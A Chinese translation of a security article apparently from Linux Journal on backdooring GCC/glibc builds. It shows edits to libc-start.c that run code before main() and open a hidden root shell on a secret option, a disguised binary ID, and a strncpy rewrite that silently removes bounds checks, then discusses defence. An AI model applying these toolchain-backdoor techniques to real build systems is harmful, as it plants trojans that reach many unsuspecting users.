编译器作为攻击向量

作者:David Maynor

过去五年中,严重安全威胁的媒体曝光率急剧上升,这也导致了一种奇怪的现象。随着软件开发人员越来越意识到安全问题,并采取措施在开发阶段缓解这些问题,攻击者也被迫在利用向量方面变得更加隐蔽。一个经常被忽略的可能向量是在程序构建时对其进行攻击。

我第一次接触到这个想法是在阅读1995年9月的 ACM 经典文章《信任信任》时,作者是肯·汤普森。这篇文章最初发表在1984年8月的 ACM通讯 上,它讲述了一种观点,即终极安全性是不可能实现的,因为在构建应用程序的链条中,无法完全信任每一个环节。 特别关注的是 UNIX 的 C 编译器,以及在构建过程中,程序员如何对编译器的行为一无所知。

同样的问题目前仍然存在。 由于 Linux 世界中的许多东西都是下载和编译的,因此打开了一条攻击途径。 像 RPM 和 Debian 软件包这样的二进制发行版越来越受欢迎; 因此,攻击发行版的构建机器将产生许多毫无戒心的受害者。

GCC 和 Glibc

在讨论此类攻击如何发生之前,重要的是要熟悉目标,以及某人将如何评估它以寻找攻击点。 由 GNU 项目编写和分发的 GCC 支持多种语言和架构。 为了简洁起见,我们在本文中重点关注 ANSI C 和 x86 架构。

首要任务是更加熟悉 GCC——它对代码做了什么以及在哪里做的。 开始此操作的最佳方法是构建一个简单的 Hello World 程序,并在编译时将 -v 选项传递给 GCC。 输出应类似于清单 1 中所示。检查输出会产生几个重要的细节,因为 GCC 不是一个单独的程序。 它调用多个程序将 c 源文件翻译成 ELF 二进制文件。 它还链接了许多系统库,但几乎没有验证它们是否如其显示的那样。

通过使用 -save-temps 选项重复相同的构建,可以获得更多信息。 这会保存 GCC 在构建过程中创建的中间文件。 除了二进制文件和源文件之外,您现在还拥有 filename.i、filename.s 和 filename.o。 .i 文件包含预处理后的源文件,.s 包含已翻译的汇编代码,而 .o 是在任何链接发生之前的已汇编文件。 使用file命令来检查这些文件,可以提供一些关于它们的信息。

清单 1. gcc -v

$gcc -v tst.c
<snipped for length>
 as -V -Qy -o /tmp/ccAkwBG3.o /tmp/cczFkUQ2.s
GNU assembler version 2.13.90.0.18 (i586-mandrake-linux-gnu)
using BFD version 2.13.90.0.18 20030121
/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2/collect2
--eh-frame-hdr -m elf_i386 -dynamic-linker /lib/ld-linux.so.2
/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2/../../../crt1.o
/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2/../../../crti.o
/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2/crtbegin.o
-L/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2
-L/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2/../../.. /tmp/ccAkwBG3.o
-lgcc -lgcc_eh -lc -lgcc -lgcc_eh
/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2/crtend.o
/usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.2.2/../../../crtn.o
$

在查看临时文件时,需要关注的是每个步骤添加的代码类型和数量,以及代码的来源。 攻击者寻找可以添加代码(通常称为有效负载)而不被注意到的位置。 攻击者还必须在程序的流程中的某个位置添加语句来执行有效负载。 对于攻击者来说,理想情况下,这将以最少的努力完成,只需更改一两个文件即可。 涵盖这两个要求的阶段称为链接阶段。

链接阶段生成最终的 ELF 二进制文件,是攻击者利用的最佳位置,以确保他们的更改未被检测到。 链接阶段还使攻击者有机会通过更改编译器链接的文件来修改程序的流程。 检查 Hello World 构建的详细输出,您可以看到几个像 ld_linux.so.2 这样链接的文件。 这些是攻击者将最多关注的文件,因为它们包含程序需要工作的标准函数。 这些集合通常是最容易添加恶意有效负载和调用它的代码的地方,通常只需替换单个文件即可。

让我们在这里稍微绕开一下,讨论 ELF 二进制文件的一些部分、它们的工作方式以及攻击者如何利用它来发挥自己的优势。 问问许多编写 C 代码的人,他们的程序从哪里开始执行,他们当然会说“main”。 这只是在某种程度上成立; main 是他们编写的代码开始执行的地方,但实际上,代码在 main 之前很久就开始执行了。 您可以使用 nm、readelf 和 gdb 等工具检查这一点。 执行命令readelf --l hello显示程序的入口点。 这是程序开始执行的地方。 然后,您可以通过为入口点设置一个断点,然后运行程序来查看它的作用。 您会发现程序实际上是从一个名为 _start 的函数开始执行的,该函数位于文件 <glibc-base-directory>/sysdeps/i386/elf/start.S 的第 47 行。 这实际上是 glibc 的一部分。

攻击者可以直接修改汇编代码,或者他们可以将执行跟踪到他们使用 C 的地方,以便更容易地进行修改。 在 start.S 中,__libc_start_main 被调用并带有注释调用用户的主函数。 浏览 glibc 源代码树会将您带到 <glibc-base-directory>/sysdeps/generic/libc-start.c。 检查此文件,您会发现它不仅调用用户的主函数,还负责设置命令行和环境选项,例如 argc、argv 和 evnp,以传递给 main。 它也是用 C 编写的,这使得修改比用汇编更容易。 此时,进行有效的攻击就像在调用 main 之前添加代码来执行一样简单。 这之所以有效,有几个原因。 首先,为了使攻击成功,只需要更改一个文件。 其次,因为它在 main() 之前,所以典型的调试无法发现它。 最后,由于即将调用 main,C 程序员期望的所有内置函数都已经设置好了。

攻击

既然我们已经完成了对 GCC 和相关部分的总体介绍,我们就可以将这些知识应用于攻击。 最简单的攻击是添加新功能,通过命令行选项调用。 让我们攻击 libc-start.c,因为等待命令行选项为我们设置好,比用我们自己的代码来做更容易。

这类工作应该在一台不太重要的机器上完成,这样在必要时可以重新安装。 这里使用的 glibc 版本是 2.3.1,构建在 Mandrake 9.1 上。 在初始构建之后(这将是漫长的),只要构建没有被清理,未来的编译应该会非常快。

第一个例子是在主体执行之前和之后显示简单的文本。 为了做到这一点,编译器链接的库被修改了。 对 libc-start.c 的修改只是添加了一个 Hello 和 Good-bye 消息,该消息在程序运行时显示。 修改包括添加 stdio.h 作为头文件,以及在 main 之前和之后添加两个简单的 printf 语句,如清单 2 所示。 完成这些简单的更改后,启动 glibc 的另一个构建并等待。

清单 2. 对 libc-start.c 的修改以用于 Hello World

/* XXX This is where the try/finally handling
must be used.  */
printf("Before main()\n");
result = main (argc, argv, __environ);
printf("After main()\n");

没有必要等到构建完成。 您可以从编译目录构建程序,而不会因为错误的 glibc 安装而冒着机器可用性的风险。 这样做需要 GCC 的一些棘手的命令行选项。 为了便于演示,二进制文件是静态构建的,如清单 3 所示。 编译的程序是一个简单的 Hello World 程序。

清单 3. 用于编译 hello.c 的 GCC 命令行

}
$gcc -nostdlib -nostartfiles -static -o
/home/dave/code/lj/hello /home/dave/code/lj/build_glibc/csu/crt1.o
/home/dave/code/lj/build_glibc/csu/crti.o
`gcc --print-file-name=crtbegin.o` /home/dave/code/lj/hello.c
/home/dave/code/lj/build_glibc/libc.a -lgcc
/home/dave/code/lj/build_glibc/libc.a `gcc --print-file-name=crtend.o`
/home/dave/code/lj/build_glibc/csu/crtn.o
$./hello
Before main()
Hello World
After main()
$

请密切注意 nostdlib、nostartfiles 和 static。 这些选项后面是常用 C 库以及 -lgcc 等标准库的库路径。 这些奇怪的选项指示 GCC 不要构建在标准库和启动函数中。 这使我们能够精确地指定我们想要链接的内容以及在哪里链接。 编译完成后,我们得到了一个 hello ELF 二进制文件,正如预期的那样,但它比正常情况下大得多。 这是静态构建程序的副作用,这意味着所需的功能构建在程序内部,而不是依赖于按需加载它们。 运行该二进制文件会导致我们的消息在 hello world 消息之前和之后显示,并且它验证了我们确实可以在开发人员预期之前执行代码。

真正的攻击者不必静态构建,并且可以颠覆 glibc 的系统副本,以便可执行文件看起来正常。

回顾 libc-start 源文件,很容易看出此函数在调用 main() 之前设置 argc、argv 和 evnp。 从显示文本开始,下一步是执行 shell。 由于这种严重性的修改是攻击者不希望任何人知道它们存在的,因此只有在传递正确的命令行选项时才会执行此 shell。 源文件已经包含 unistd.h,因此使用 getopt 在调用 main() 之前解析命令行选项既简单又诱人。 虽然这可以工作,但如果 getopt 因未知选项而出错,则可能导致发现。 我编写了一个简短的代码片段,用于在 argv 中搜索用于调用 shell 的选项,如清单 4 所示。 当您退出 shell 时,您会注意到程序继续正常运行。 除非您知道用于启动 shell 的选项,否则您很可能永远不会知道这个后门存在。

清单 4. 对 libc-start 的更改,用于解析命令行选项

$cat hello.c
#include <stdio.h>

int main()
{
        printf("Hello World\n");
        return 0;
}
$ <GCC build snipped for length, see Listing 3 for options>
$./hello
Before main()
Looking for cmdln opt
I love Marisa
After main()
$./hello -O
Before main()
Looking for cmdln opt
OWNED
sh-2.05b# id
uid=0(root) gid=0(root) groups=0(root)
sh-2.05b#exit
exit
Hello World
After main()
$

前面的例子很有趣,但它们实际上并没有做任何值得注意的事情。 下一个示例将唯一标识符添加到使用 GCC 构建的每个二进制文件中。 这在蜜罐型环境中最为有用,在这种环境中,有可能未知方会在机器上构建一个程序,然后将其删除。 唯一标识符与注册表结合使用,可以帮助取证分析师将程序追溯到其来源,并建立一条通往入侵者的踪迹。

列表 5. 添加唯一的 ID 函数

Code added to libc-start.c
void __ID_abcdefghijklmnopqrstuvwxyz( void )
{
}

The output, after compile:
$nm -p hello | grep ID
080966e0 r _nl_value_type_LC_IDENTIFICATION
08048320 T __ID_abcdefghijklmnopqrstuvwxyz
080a5e00 R _nl_C_LC_IDENTIFICATION
$

关于唯一标识符应该是什么以及如何生成,可能会有很多争论。为了避免陷入加密学101课程,该标识符是一个通用的 26 个字符的字符串。为了防止立即被检测到,该标识符被添加为一个 void 函数,可以使用 nm 命令查看。它的名称是 __ID_abcdefghijklmnopqrstuvwxyz()。这被添加到 libc-start.c 中。在重建 glibc 并编译测试程序后,该值是可见的。我选择的值仅用于演示目的。在现实中,标识符越模糊、听起来越合法,就越难被检测到。在实际场景中,我会选择类似 __dl_sym_check_load() 这样的名称。除了在构建时标记二进制文件之外,还可以插入一个令牌,该令牌将创建一个单独的 UDP 数据包,其唯一有效负载是运行该机器的 IP 地址。这可以发送到日志服务器,该服务器可以跟踪哪些二进制文件在哪些地方运行以及它们是在哪里构建的。

这种攻击向量更有趣的要素之一是能够将好代码变成坏代码。 strcpy 是一个完美的例子,因为它既有一个不安全的版本,也有一个安全的版本,strncpy,它有一个额外的参数,指示应该复制多少字符串。在不回顾缓冲区溢出是如何工作的情况下,strcpy 对于攻击者来说比其具有边界检查的哥哥函数更有吸引力。这是一个相对简单的更改,应该不会引起太多注意,除非程序是用调试器单步执行的。在目录 <glibc-base>/sysdeps/generic 中,有两个文件,strcpy.c 和 strncpy.c。注释掉 strncpy 所做的一切,并用以下内容替换它:return strcpy(s1,s2);.

使用 GDB,您可以通过编写使用 strncpy 的代码片段,然后单步执行它来验证这是否真的有效。验证这一点的一个更简单的方法是将一个大字符串复制到一个小缓冲区中,然后等待像列表 6 中所示的崩溃。

列表 6. strncpy 程序和结果

strncpy function in <glbc-base>/sysdeps/generic/strncpy.c
char *
strncpy (s1, s2, n)
     char *s1;
     const char *s2;
     size_t n;
{
        return strcpy(s1, s2);
}

$cat strcpy.c
#include <stdio.h>
#include <string.h>
int bob(char *aa)
{
        char b[4];

        strncpy(b, aa, sizeof(b));
        return 0;
}

int main()
{
        char *a="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        bob(a);
        return 0;
}

$<compile is same as fig. 3 with strcpy.c instead of hello.c>
$gdb ./str
strcpy     strcpy.c   strcpy2    strcpy2.c
$gdb ./strcpy
<snip for length>
This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) run
Starting program: /home/dave/code/lj/strcpy
Before main()
Looking for cmdln opt

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) print $eip
$1 = (void *) 0x61616161
(gdb)
<And to show strcpy still works>
int bob(char *aa)
{
        char b[50];

        strncpy(b, aa, sizeof(b));
        printf("%s\n", b);
        return 0;
}

int main()
{
        char *a="Thats all folks";
        bob(a);
        return 0;
}
_________________________________________
$./strcpy
Before main()
Looking for cmdln opt
Thats all folks
After main()
$

根据代码的功能,它可能只有在不被发现的情况下才有用。为了帮助保密,添加条件执行代码是有用的。这意味着如果未满足某些条件,则添加的代码将保持休眠状态。一个例子是检查二进制文件是否使用调试选项构建,如果是,则不执行任何操作。这有助于降低发现的机会,因为发布应用程序可能不会像调试应用程序那样受到相同的审查。

防御和总结

现在已经探讨了这种向量的“是什么”和“如何”,现在该讨论发现和阻止这些攻击的方法了。简短的答案是没有好的方法。这种类型的攻击不是旨在破坏单个盒子,而是旨在将木马代码分散给最终用户。到目前为止显示的示例都是微不足道的,旨在帮助人们掌握攻击的概念。但是,如果不付出太多努力,真正危险的事情可能会出现。一些例子包括修改 gpg 以捕获密码和公钥,更改 sshd 以创建用于身份验证的私钥副本,甚至修改登录过程以向第三方源报告用户名和密码。防御这些类型的攻击需要勤奋地使用基于主机的入侵检测系统来查找修改过的系统库。构建时更仔细的检查也必须发挥关键作用。正如您在查看上面的示例时可能已经发现的那样,大多数更改将在调试器中或通过使用 binutils 等工具检查最终二进制文件时变得非常明显。

另一种更具体的防御方法包括分析 main 执行之前和之后发生的所有函数。从理论上讲,同一台机器上的相同版本的 glibc 应该表现相同。一个保持已知安全状态并检查新构建的二进制文件的工具将能够检测到许多这些更改。当然,如果攻击者知道存在这样的工具,他们会尝试使用不会在调试器环境中执行的代码来规避它。从本文中获得的最重要的知识不是 glibc 和 GCC 的内部工作原理,也不是未知的修改如何在不警告开发人员或最终用户的情况下影响程序。最重要的是,在当今时代,任何东西都可以用作破坏安全的工具——即使是标准计算中最值得信赖的主食。

本文资源: www.linuxjournal.com/article/7929.

David Maynor 是 ISS Xforce 研发团队的研究工程师。他每天都在思考新的方法来在坏人之前打破东西。可以通过 dmaynor@iss.net 联系到他。

加载 Disqus 评论